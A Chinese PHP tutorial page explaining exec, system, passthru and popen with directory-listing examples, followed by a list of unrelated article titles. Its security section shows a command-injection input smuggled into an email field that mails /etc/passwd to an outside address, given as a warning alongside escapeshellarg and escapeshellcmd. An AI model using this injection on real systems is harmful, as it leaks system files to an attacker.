PHP执行系统命令 exec,system,passthru,popen
来源:互联网 发布:免费下载安装淘宝网 编辑:程序博客网 时间:2024/05/20 13:14
PHP给给我们提供了三种内置函数 exec,system,passthru用来执行系统命令.
1. exec
exec(string $command[,array $out_put][,$ret_val]);
第一个参数是我们需要执行的命令,第二个参数是最后一条shell命令的结果.第三个参数是返回执行的状态,返回0 执行成功
例如:
<?php
exec
(
"/bin/ls"
,
$arr
,
$retval
);
print_r(
$arr
);
echo
$retval
;
?>
输出
Array
(
[0] => index.html
[1] => info.php
[2] => php.core
[3] => test.php
)
状态码:0
2.system
system(string $command[,int $ret_val);
第一个参数是我们执行的系统命令,第二个参数是状态,该函数会输出最后一条shell执行的结果
例
system(
"/bin/ls"
,
$retval
);
echo
$retval
;
输出结果
index.html
info.php
php.core
test.php
状态码 0;
3.passthru
passthru(string $command,$retval);
第一个参数系统执行的命令,第二个参数是状态码.
该函数不输出任何内容.
passthru
(
"/bin/ls"
,
$retval
);
echo
$retval
;
结果 0;
4.popen
resource popen ( string $command , string $mode );
打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。
该函数返回一个管道句柄,可以用来读和写.
该管道可以用pclose来关闭.
$fp
=popen(
"/bin/ls"
,
"r"
);
$str
=
fread
(
$fp
,1024);
pclose(
$fp
);
输出结果
index.html
info.php
php.core
test.php
执行系统命令,我们需要考虑两个问题
第一 安全性,第二 超时.
我们在开发的时候有个原则,用户输入的内容是绝对不可信的.我们必须要过滤恶意用户提交的非法内容.
比如你有个系统…需要给用户发邮件….
如果调用Linux的mail来发邮件..就像这样
system(“mail $to <A.TXT");
而邮箱地址是用户输入进来的数据...
那么..如果有恶意用户.提交这样的代码
'–bla ; mail imsiren@imsiren.com < /etc/passwd ;'
!!!!!!!!!!
你是不是会吓出冷汗...
这条代码会执行为
system("mail -bla;mail imsiren@imsiren.com < /etc/password ;<A.TXT");
PHP提供了两个函数用来解决这个问题.
escapeshellarg()和escapeshellcmd();
escapeshellarg用来过滤 shell的参数,给特定的字符串加上单引号
escapeshellcmd用来过滤 cmd命令. 把特定的字符串转义.
这样命令和参数就安全的被执行.
超时问题:
由于PHP语言的特性,它需要一条一条的执行代码.
那么 加入这个system执行的时间需要很长,那么肯定会造成PHP脚本执行超时.
解决办法把命令的输出重定向到另外一个文件或流中,如:
system(“/etc/bin > /tmp/null &”);
这样就OK了.
- PHP执行系统命令 exec,system,passthru,popen
- PHP 调用系统外部命令 system() exec() passthru() 和 popen()
- PHP 执行系统外部命令 system() exec() passthru()
- PHP 执行系统外部命令 system() exec() passthru()
- PHP 执行系统外部命令 system() exec() passthru()
- PHP 执行系统外部命令 system() exec() passthru()
- PHP 执行系统外部命令 system() exec() passthru()
- PHP 执行系统外部命令 system() exec() passthru()
- PHP 执行系统外部命令 system() exec() passthru()
- PHP 执行系统外部命令 system() exec() passthru()
- PHP 执行系统外部命令 system() exec() passthru()
- PHP 执行系统外部命令 system() exec() passthru()
- PHP 执行系统外部命令 system() exec() passthru()
- PHP 执行系统外部命令 system() exec() passthru()
- PHP执行系统外部命令函数:exec()、passthru()、system()、shell_exec()
- PHP执行系统外部命令函数:exec()、passthru()、system()、shell_exec()
- php执行shell命令,system、exec、passthru
- php执行外部命令函数:exec()、passthru()、system()、shell_exec()对比
- java反射中getMethod getDeclaredMethod .
- UIAlertView用法
- Piotr Dollar(皮洽-多拉)同学的论文Peestrain Detection:An Evaluation of the State of the Art读后记录
- Block语法的使用
- 程序员练级攻略
- PHP执行系统命令 exec,system,passthru,popen
- [好用的小控件] 自带清除的EditText
- 韩顺平网页设计第三十一三十二讲
- Android OpenGL ES 教程
- 我们的管理:定制研发管理
- EclipsePlug-in多线程情况下访问控件
- FlashDevelop不能trace
- eclipse 背景色 豆沙绿
- JAVA 静态代码分析--规范检查-checkstyle